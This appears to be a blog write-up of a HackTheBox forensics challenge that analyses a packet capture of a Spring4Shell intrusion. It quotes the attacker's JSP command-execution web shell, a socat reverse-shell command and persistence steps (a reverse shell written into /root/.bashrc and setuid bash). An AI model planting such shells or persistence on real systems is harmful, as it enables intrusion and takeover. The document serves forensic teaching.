Wrong Spooky Season Writeup

04 July 2023 #CTF #HTB #chall #easy #forensics

Challenge Description

I told them it was too soon and in the wrong season to deploy such a website, but they assured me that theming it properly would be enough to stop the ghosts from haunting us. I was wrong. Now there is an internal breach in the "Spooky Network" and you need to find out what happened. Analyze the network traffic and find how the scary ghosts got in and what they did.


After downloading the challenge zip and extracting it (password is always "hackthebox") we get a single pcap (network packet capture) file:

$ file capture.pcap
capture.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)

A good way to start looking at a packet capture like this is using Wireshark. After loading capture.pcap in Wireshark, we'll start by taking a look at the Protocol Hierarchy view (in the top bar: Statistics -> Protocol Hierarchy):

wireshark protocol hierarchy

This tells us that we are pretty much only dealing with web traffic (according to Wireshark, 100% of packets are HTTP traffic).

Another usefull view is the Endpoints view (Statistics -> Endpoints):

wireshark conversations

Here we can see there is just 1 client ( talking to the webserver ( on port 8080. There's another conversation from the server to the client which is unusual, but we don't have much info yet.

HTTP Traffic Analysis

We want to only see HTTP packets in Wireshark. To do that, we can type "http" in the filter bar:

filter for http traffic in wireshark

The first few packets correspond to the client accessing the webserver at The server responds with the HTML document, and the client makes additional requests to other resources like CSS files and images which most likely means they are using a web browser (we can check the User-Agent HTTP header in the requests to confirm that).

After that, the client make a POST request to the same page (/spookhouse/home):

POST request

We can right click on the packet and go to Follow -> HTTP Stream to view the request and response in a nicer way:

follow HTTP stream

(request in red, response in blue).

This time, the User-Agent header says "python-requests/2.28.1" which indicates that the request was made from a python script using the popular requests library.

Spring4Shell Exploitation

The body of the request looks suspicious, and throwing it to Google leads us to this article which covers the Spring4Shell vulnerability (CVE-2022-22965).

The next POST request uses the vulnerability to upload a JSP shell:

JSP shell upload

(refer to the article above to understand how the vulnerability works).

Here is the JSP payload:

    java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while ((a = in.read(b)) !=- 1) {
        out.println(new String(b));

It just passing the value of the GET parameter called "cmd" to the exec() function which is used to execute arbitrary system commands. The output of the command is read and displayed back on the page.

This payload is saved to the path webapps/ROOT/e4d1c32a56ca15b3.jsp which will make it available from the webserver at /e4d1c32a56ca15b3.jsp.

The attacker then starts executing commands:

whoami command in JSP shell

The exploit worked, and the server is running as root (OOF).

Reverse Shell

The attacker is not satisfied yet, in the next request, they install socat (which is basically like nc but on steroids): /e4d1c32a56ca15b3.jsp?cmd=apt%20-y%20install%20socat (%20 is a URL-encoded space). Once installed, they use it to setup a reverse shell: /e4d1c32a56ca15b3.jsp?cmd=socat%20TCP:

The reverse shell is connecting back to the attacker on port 1337, so now it makes sense to what we saw in the Endpoints view.

We can use the tcp.dstport == 1337 filter in Wireshark to only display the reverse shell packets:

filter for reverse shell packets

Then, we click on any of these packets and go to Follow -> TCP Stream:

reverse shell TCP stream

The command at the end is the most interesting:

echo 'socat TCP: EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash

It's using 2 persistence techniques: echo 'socat TCP: EXEC:sh' > /root/.bashrc will send a reverse shell to the attacker whenever the root user logs in. chmod +s /bin/bash makes the bash executable setuid, which means any user can get a root shell by running bash -p.

There is one command left in the middle, which is most likely our flag. It's piping the string ==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS into rev which will reverse it. This is clearly a reversed base64 string (you can only see the = characters at the end because it is padding).

$ echo '==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS' | rev | base64 -d

Here is our flag (: